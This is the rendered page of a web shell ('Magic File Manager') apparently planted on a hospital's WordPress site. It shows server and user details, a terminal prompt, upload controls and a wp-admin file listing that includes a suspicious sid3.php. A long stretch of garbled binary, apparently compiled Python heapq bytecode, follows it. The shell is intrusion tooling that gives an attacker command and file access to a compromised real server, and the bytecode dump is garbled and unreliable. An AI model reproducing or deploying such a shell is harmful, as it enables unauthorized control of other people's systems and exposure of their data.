✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in/wp-admin
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� css--drwxr-xr-x
� images--drwxr-xr-x
� includes--drwxr-xr-x
� js--drwxr-xr-x
� maint--drwxr-xr-x
� network--drwxr-xr-x
� user--drwxr-xr-x
� about.php17.572 KB-rw-r--r--
� admin-ajax.php5.025 KB-rw-r--r--
� admin-footer.php2.738 KB-rw-r--r--
� admin-functions.php0.461 KB-rw-r--r--
� admin-header.php9.066 KB-rw-r--r--
� admin-post.php1.974 KB-rw-r--r--
� admin.php12.632 KB-rw-r--r--
� async-upload.php5.473 KB-rw-r--r--
� authorize-application.php10.093 KB-rw-r--r--
� comment.php11.37 KB-rw-r--r--
� contribute.php5.523 KB-rw-r--r--
� credits.php4.044 KB-rw-r--r--
� custom-background.php0.471 KB-rw-r--r--
� custom-header.php0.48 KB-rw-r--r--
� customize.php11.314 KB-rw-r--r--
� edit-comments.php14.145 KB-rw-r--r--
� edit-form-advanced.php28.79 KB-rw-r--r--
� edit-form-blocks.php15.164 KB-rw-r--r--
� edit-form-comment.php13.652 KB-rw-r--r--
� edit-link-form.php6.198 KB-rw-r--r--
� edit-tag-form.php10.408 KB-rw-r--r--
� edit-tags.php21.982 KB-rw-r--r--
� edit.php19.484 KB-rw-r--r--
� erase-personal-data.php7.329 KB-rw-r--r--
📄 error_log9.984 KB-rw-r--r--
� export-personal-data.php7.754 KB-rw-r--r--
� export.php11.001 KB-rw-r--r--
� font-library.php1.445 KB-rw-r--r--
� freedoms.php4.467 KB-rw-r--r--
� import.php7.584 KB-rw-r--r--
� index.php7.68 KB-rw-r--r--
� install-helper.php6.798 KB-rw-r--r--
� install.php17.944 KB-rw-r--r--
� link-add.php0.912 KB-rw-r--r--
� link-manager.php4.259 KB-rw-r--r--
� link-parse-opml.php2.657 KB-rw-r--r--
� link.php2.888 KB-rw-r--r--
� load-scripts.php2.021 KB-rw-r--r--
� load-styles.php2.925 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� media-new.php3.173 KB-rw-r--r--
� media-upload.php3.582 KB-rw-r--r--
� media.php0.8 KB-rw-r--r--
� menu-header.php9.816 KB-rw-r--r--
� menu.php17.709 KB-rw-r--r--
� moderation.php0.3 KB-rw-r--r--
� ms-admin.php0.191 KB-rw-r--r--
� ms-delete-site.php4.505 KB-rw-r--r--
� ms-edit.php0.211 KB-rw-r--r--
� ms-options.php0.224 KB-rw-r--r--
� ms-sites.php0.21 KB-rw-r--r--
� ms-themes.php0.212 KB-rw-r--r--
� ms-upgrade-network.php0.214 KB-rw-r--r--
� ms-users.php0.21 KB-rw-r--r--
� my-sites.php4.718 KB-rw-r--r--
� nav-menus.php49.022 KB-rw-r--r--
� network.php5.394 KB-rw-r--r--
� options-connectors.php1.507 KB-rw-r--r--
� options-discussion.php16.019 KB-rw-r--r--
� options-general.php22.319 KB-rw-r--r--
� options-head.php0.6 KB-rw-r--r--
� options-media.php6.484 KB-rw-r--r--
� options-permalink.php21.964 KB-rw-r--r--
� options-privacy.php10.453 KB-rw-r--r--
� options-reading.php9.959 KB-rw-r--r--
� options-writing.php9.184 KB-rw-r--r--
� options.php13.932 KB-rw-r--r--
� plugin-editor.php13.741 KB-rw-r--r--
� plugin-install.php7.259 KB-rw-r--r--
� plugins.php30.023 KB-rw-r--r--
� post-new.php2.703 KB-rw-r--r--
� post.php10.567 KB-rw-r--r--
� press-this.php2.412 KB-rw-r--r--
� privacy-policy-guide.php3.668 KB-rw-r--r--
� privacy.php2.453 KB-rw-r--r--
� profile.php0.276 KB-rw-r--r--
� revision.php5.699 KB-rw-r--r--
� setup-config.php17.508 KB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� site-editor.php12.19 KB-rw-r--r--
� site-health-info.php4.075 KB-rw-r--r--
� site-health.php10.183 KB-rw-r--r--
� term.php2.196 KB-rw-r--r--
� theme-editor.php16.874 KB-rw-r--r--
� theme-install.php23.745 KB-rw-r--r--
� themes.php48.563 KB-rw-r--r--
� tools.php3.432 KB-rw-r--r--
� update-core.php45.119 KB-rw-r--r--
� update.php12.756 KB-rw-r--r--
� upgrade-functions.php0.333 KB-rw-r--r--
� upgrade.php6.24 KB-rw-r--r--
� upload.php14.934 KB-rw-r--r--
� user-edit.php40.863 KB-rw-r--r--
� user-new.php24.086 KB-rw-r--r--
� users.php25.096 KB-rw-r--r--
� widgets-form-blocks.php5.112 KB-rw-r--r--
� widgets-form.php19.129 KB-rw-r--r--
� widgets.php1.086 KB-rw-r--r--
Ë â{|jðYãóH— dZgd¢Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd „Z d „Z d „Z d „Z d „Z dddœd„Zdd„Zdd„Z ddl­ ddlmZ ddlm Z  ddlmZedk(rddlZeej,««yy#e$rYŒ>wxYw#e$rYŒBwxYw#e$rYŒFwxYw#e$rYŒJwxYw)uoHeap queues [explanation by François Pinard] Heaps are arrays for which a[k] <= a[2*k+1] and a[k] <= a[2*k+2] for all k, counting elements from 0. For the sake of comparison, non-existing elements are considered to be infinite. The interesting property of a heap is that a[0] is always its smallest element. The strange invariant above is meant to be an efficient memory representation for a tournament. The numbers below are `k', not a[k]: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 In the tree above, each cell `k' is topping `2*k+1' and `2*k+2'. In a usual binary tournament we see in sports, each cell is the winner over the two cells it tops, and we can trace the winner down the tree to see all opponents s/he had. However, in many computer applications of such tournaments, we do not need to trace the history of a winner. To be more memory efficient, when a winner is promoted, we try to replace it by something else at a lower level, and the rule becomes that a cell and the two cells it tops contain three different items, but the top cell "wins" over the two topped cells. If this heap invariant is protected at all time, index 0 is clearly the overall winner. The simplest algorithmic way to remove it and find the "next" winner is to move some loser (let's say cell 30 in the diagram above) into the 0 position, and then percolate this new 0 down the tree, exchanging values, until the invariant is re-established. This is clearly logarithmic on the total number of items in the tree. By iterating over all items, you get an O(n ln n) sort. A nice feature of this sort is that you can efficiently insert new items while the sort is going on, provided that the inserted items are not "better" than the last 0'th element you extracted. This is especially useful in simulation contexts, where the tree holds all incoming events, and the "win" condition means the smallest scheduled time. When an event schedule other events for execution, they are scheduled into the future, so they can easily go into the heap. So, a heap is a good structure for implementing schedulers (this is what I used for my MIDI sequencer :-). Various structures for implementing schedulers have been extensively studied, and heaps are good for this, as they are reasonably speedy, the speed is almost constant, and the worst case is not much different than the average case. However, there are other representations which are more efficient overall, yet the worst cases might be terrible. Heaps are also very useful in big disk sorts. You most probably all know that a big sort implies producing "runs" (which are pre-sorted sequences, which size is usually related to the amount of CPU memory), followed by a merging passes for these runs, which merging is often very cleverly organised[1]. It is very important that the initial sort produces the longest runs possible. Tournaments are a good way to that. If, using all the memory available to hold a tournament, you replace and percolate items that happen to fit the current run, you'll produce runs which are twice the size of the memory for random input, and much better for input fuzzily ordered. Moreover, if you output the 0'th item on disk and get an input which may not fit in the current tournament (because the value "wins" over the last output value), it cannot fit in the heap, so the size of the heap decreases. The freed memory could be cleverly reused immediately for progressively building a second heap, which grows at exactly the same rate the first heap is melting. When the first heap completely vanishes, you switch heaps and start a new run. Clever and quite effective! In a word, heaps are useful memory structures to know. I use them in a few applications, and I think it is good to keep a `heap' module around. :-) -------------------- [1] The disk balancing algorithms which are current, nowadays, are more annoying than clever, and this is a consequence of the seeking capabilities of the disks. On devices which cannot seek, like big tape drives, the story was quite different, and one had to be very clever to ensure (far in advance) that each tape movement will be the most effective possible (that is, will best participate at "progressing" the merge). Some tapes were even able to read backwards, and this was also used to avoid the rewinding time. Believe me, real good tape sorts were quite spectacular to watch! From all times, sorting has always been a Great Art! :-) )ÚheappushÚheappopÚheapifyÚ heapreplaceÚmergeÚnlargestÚ nsmallestÚ heappushpopcóZ— |j|«t|dt|«dz «y)Néé)ÚappendÚ _siftdownÚlen©ÚheapÚitems ú/usr/lib64/python3.12/heapq.pyrr„s%€Ø>؇K�K�ÔÜ ˆd�A”s˜4“y ‘{Õ#ócó\— |j«}|r|d}||d<t|d«|S|S©Nr )ÚpopÚ_siftup©rÚlasteltÚ returnitems rrr‰s:€ØMØ�h‰h‹j€G٠ؘ!‘Wˆ ؈ˆQ‰Ü��aÔØÐØ €Nrcó4— |d}||d<t|d«|Sr©r©rrrs rrr“s+€ð ð�a‘€JØ€Dˆ�GÜ ˆD�!ÔØ ÐrcóJ— |r|d|kr|d|c}|d<t|d«|Srrrs rr r £s4€Ø;Ù ��Q‘˜$’ؘQ™ ˆ ˆˆd�1‰gÜ��aÔØ €Krcól— t|«}tt|dz««D]}t||«Œy©Né)rÚreversedÚranger©ÚxÚnÚis rrrªs0€ØBÜ ˆA‹€Aô ”e˜A˜q™D“kÖ "ˆÜ��1� ñ#rcó\— |j«}|r|d}||d<t|d«|S|Sr)rÚ _siftup_maxrs rÚ _heappop_maxr+µs:€Ø'Ø�h‰h‹j€G٠ؘ!‘Wˆ ؈ˆQ‰Ü�D˜!ÔØÐØ €Nrcó4— |d}||d<t|d«|Sr)r*rs rÚ_heapreplace_maxr-¿s'€Ø>Ø�a‘€JØ€Dˆ�GÜ��aÔØ Ðrcól— t|«}tt|dz««D]}t||«Œyr!)rr#r$r*r%s rÚ _heapify_maxr/Æs/€ØEÜ ˆA‹€AÜ ”e˜A˜q™D“kÖ "ˆÜ�A�qÕñ#rcóX—||}||kDr|dz dz }||}||kr|||<|}Œ |||<y©Nr ©©rÚstartposÚposÚnewitemÚ parentposÚparents rrrÏsO€Ø�3‰i€Gð �Š.ؘ1‘W ‘Nˆ Ø�i‘ˆØ �VÒ ØˆD�‰I؈CØ Ø Ø€Dˆ‚IrcóÄ—t|«}|}||}d|zdz}||kr/|dz}||kr ||||ks|}||||<|}d|zdz}||krŒ/|||<t|||«y©Nr"r )rr©rr5Úendposr4r6ÚchildposÚrightposs rrrs“€Ü �‹Y€FØ€HØ�3‰i€Gà�‰u�q‰y€HØ �VÒ à˜a‘<ˆØ �fÒ  T¨(¡^°d¸8±nÒ%D؈Hà˜‘NˆˆS‰ ؈Ø�S‘5˜1‘9ˆð �VÓ ð€Dˆ�IÜ ˆd�H˜cÕ"rcóZ— ||}||kDr|dz dz }||}||kr|||<|}Œ |||<yr1r2r3s rÚ _siftdown_maxr@sR€Ø"Ø�3‰i€Gð �Š.ؘ1‘W ‘Nˆ Ø�i‘ˆØ �GÒ ØˆD�‰I؈CØ Ø Ø€Dˆ‚IrcóÆ— t|«}|}||}d|zdz}||kr/|dz}||kr ||||ks|}||||<|}d|zdz}||krŒ/|||<t|||«yr:)rr@r;s rr*r*'s–€Ø Ü �‹Y€FØ€HØ�3‰i€Gà�‰u�q‰y€HØ �VÒ à˜a‘<ˆØ �fÒ  T¨(¡^°d¸8±nÒ%D؈Hà˜‘NˆˆS‰ ؈Ø�S‘5˜1‘9ˆð �VÓ ð€Dˆ�IÜ�$˜ #Õ&rNF©ÚkeyÚreversec'óK— g}|j}|rt}t}t}d}nt}t }t }d}|€ ttt|««D]%\} } | j} || «| |z| g«Œ'||«t|«dkDr% |dx\} } } } | –—| «| d<||| «Œ#|r!|d\} } } | –—| jEd{–—†yttt|««D].\} } | j} | «} ||| «| |z| | g«Œ0||«t|«dkDr3 |dx\}} } } } | –—| «} || «| d<| | d<||| «Œ1|r#|d\}} } } | –—| jEd{–—†yy#t$rY�ŒLwxYw#t$r ||«YnwxYwt|«dkDr�Œ9�Œ7Œ÷#t$rYŒæwxYw#t$r ||«YnwxYwt|«dkDrŒÉŒ—7Œw­w)Néÿÿÿÿr r r")r r/r+r-rrrÚ enumerateÚmapÚiterÚ__next__Ú StopIterationrÚ__self__)rCrDÚ iterablesÚhÚh_appendÚ_heapifyÚ_heappopÚ _heapreplaceÚ directionÚorderÚitÚnextÚvalueÚsÚ key_values rrr<s[èø€ðð" €AØ�x‰x€Há܈܈Ü'ˆ ؉ äˆÜˆÜ"ˆ ؈ à €{Ü"¤3¤t¨YÓ#7Ö8‰IˆE�2ð Ø—{‘{�Ù™$›& %¨)Ñ"3°TÐ:Õ;ð9ñ �Œ Ü�!‹f�qŠjð ØØ-.¨q©TÐ1Ñ&�E˜5 $¨Ø’KÙ›6�A�a‘DÙ   AÔ&ð ñ à!" 1¡Ñ ˆE�5˜$ØŠKØ—}‘}× $Ð $Øäœs¤4¨Ó3Ö4‰ ˆˆrð Ø—;‘;ˆDÙ“FˆEÙ ‘c˜%“j %¨)Ñ"3°U¸DÐAÕ Bð 5ñ ˆQ„KÜ ˆa‹&�1Š*ð ØØ45°a±DÐ8Ñ-� ˜5 %¨°Ø’ Ù›�Ù˜5“z��!‘Ø��!‘Ù˜Q Ô"ð ñ Ø()¨!©Ñ%ˆ �5˜% ØŠ Ø—=‘=× Ñ ð øôM!ò Úð ûô!ò Ù˜– ð úô�!‹f�qŒjùð %ùôò Ù ð ûôò Ù �QŽKð úô ˆa‹&�1‹*øð !úsº‚AH ÁFÁ>H Â$F(Â;H ÃGÃ$H Ã?(GÄ'H Å2G"Å2H ÆH ÆH Æ F%Æ!H Æ$F%Æ%H Æ(F<Æ9H Æ;F<Æ<H ÇH Ç GÇH ÇGÇH Ç"G6Ç3H Ç5G6Ç6H È H có¦— |dk(r,t|«}t«}t|||¬«}||urgS|gS t|«}||k\rt ||¬«d|S|€�t|«}tt|«|«D��cgc] \}}||f‘Œ }}}|s|St|«|dd} |} t} |D] }|| ksŒ | ||| f«|d\} } | dz } Œ"|j«|D�� cgc]\}} |‘Œ c} }St|«}tt|«|«D��cgc]\}}||«||f‘Œ}}}|s|St|«|dd} |} t} |D]*}||«} | | ksŒ| || | |f«|d\} } }| dz } Œ,|j«|D� � �cgc]\} } }|‘Œ c}} } S#t t f$rY�ŒbwxYwcc}}wcc} }wcc}}wcc}} } w)Nr ©ÚdefaultrC)rCr ) rIÚobjectÚminrÚsortedÚ TypeErrorÚAttributeErrorÚzipr$r/r-Úsort©r'ÚiterablerCrUÚsentinelÚresultÚsizer(ÚelemÚtoprTrRÚ_orderÚkÚ_elems rrrÏs#€ðð  ˆA‚vÜ �(‹^ˆÜ“8ˆÜ�R ¨sÔ3ˆØ˜xÑ'ˆrÐ5¨f¨XÐ5ð1Ü�8‹}ˆð �Š9ܘ(¨Ô,¨R¨aÐ0Ð 0ð €{Ü �(‹^ˆô,/¬u°Q«x¸Ô+<Ô=Ñ+<¡  4�4˜’)Ð+<ˆÑ=ÙØˆMÜ�VÔØ�Q‰i˜‰lˆØˆÜ'ˆ ÛˆDØ�c‹zÙ˜V d¨E ]Ô3Ø$ Q™i‘ ��Vؘ‘ ‘ð ð � ‰ Œ Ù*0Ô1©&™˜$ ’¨&Ò1Ð1ô ˆh‹€BÜ25´e¸A³hÀÔ2CÔ DÑ2C¡w q¨$‰s�4‹y˜!˜TÒ"Ð2C€FÑ D٠؈ Ü�ÔØ �‰)�A‰,€CØ €EÜ#€LÛˆÙ �‹IˆØ ˆs‹7Ù ˜ ! U¨DÐ!1Ô 2Ø!'¨¡Ñ ˆC�˜Ø �Q‰J‰Eð ð  ‡K�K„MÙ)/Õ 0©Ñ%�a˜ ŠD¨Ó 0Ð0øôU ”~Ð &ò Ú ð üó>ùó2ùóEùô 1s)´ F$Á9F:Ã# GÄGÆ G Æ$F7Æ6F7cóÀ— |dk(r,t|«}t«}t|||¬«}||urgS|gS t|«}||k\rt ||d¬«d|S|€£t|«}ttd| d«|«D��cgc] \}}||f‘Œ }}}|s|St|«|dd} | } t} |D] }| |ksŒ | ||| f«|d\} } | dz} Œ"|jd¬«|D�� cgc]\}} |‘Œ c} }St|«}ttd| d«|«D��cgc]\}}||«||f‘Œ}}}|s|St|«|dd} | } t} |D]*}||«} | | ksŒ| || | |f«|d\} } }| dz} Œ,|jd¬«|D� � �cgc]\} } }|‘Œ c}} } S#t t f$rY�ŒnwxYwcc}}wcc} }wcc}}wcc}} } w)Nr r[TrBr rF)rD) rIr]Úmaxrr_r`rarbr$rrrcrds rrr s>€ðð  ˆA‚vÜ �(‹^ˆÜ“8ˆÜ�R ¨sÔ3ˆØ˜xÑ'ˆrÐ5¨f¨XÐ5ð?Ü�8‹}ˆð �Š9ܘ(¨°TÔ:¸2¸AÐ>Ð >ð €{Ü �(‹^ˆÜ+.¬u°Q¸¸¸BÓ/?ÀÔ+DÔEÑ+D¡  4�4˜’)Ð+DˆÑEÙØˆMÜ�ŒØ�Q‰i˜‰lˆØ�ˆÜ"ˆ ÛˆDØ�T‹zÙ˜V d¨E ]Ô3Ø$ Q™i‘ ��Vؘ‘ ‘ð ð � ‰ ˜Dˆ Ô!Ù*0Ô1©&™˜$ ’¨&Ò1Ð1ô ˆh‹€BÜ25´e¸AÀ¸rÀ2Ó6FÈÔ2KÔ LÑ2K¡w q¨$‰s�4‹y˜!˜TÒ"Ð2K€FÑ L٠؈ Ü ˆF„OØ �‰)�A‰,€CØ ˆB€EÜ€LÛˆÙ �‹IˆØ �‹7Ù ˜ ! U¨DÐ!1Ô 2Ø!'¨¡Ñ ˆC�˜Ø �Q‰J‰Eð ð  ‡K�K˜€KÔÙ)/Õ 0©Ñ%�a˜ ŠD¨Ó 0Ð0øôQ ”~Ð &ò Ú ð üóFùó2ùóMùô 1s)´ F1Á=GÃ* G Ä GÆ GÆ1GÇGr )Ú*)r-)r/)r+Ú__main__)N)Ú __about__Ú__all__rrrr rr+r-r/rrr@r*rrrÚ_heapqÚ ImportErrorÚ__name__ÚdoctestÚprintÚtestmodr2rrÚrzsðððD\ € ò| 3€ò$ò òò ò òòòò òj#ò( ò'ð*¨ôN!óf:1óx81ðv Üð Ý'ð Ý#ð Ý#ð  ˆzÒãÙ ˆ/ˆ'�/‰/Ó Õðøð!ò Ùð ûðò Ùð ûðò Ùð ûðò Ùð úsG¼A8ÁBÁ BÁBÁ8BÁ?BÂB  B ÂBÂBÂB! B!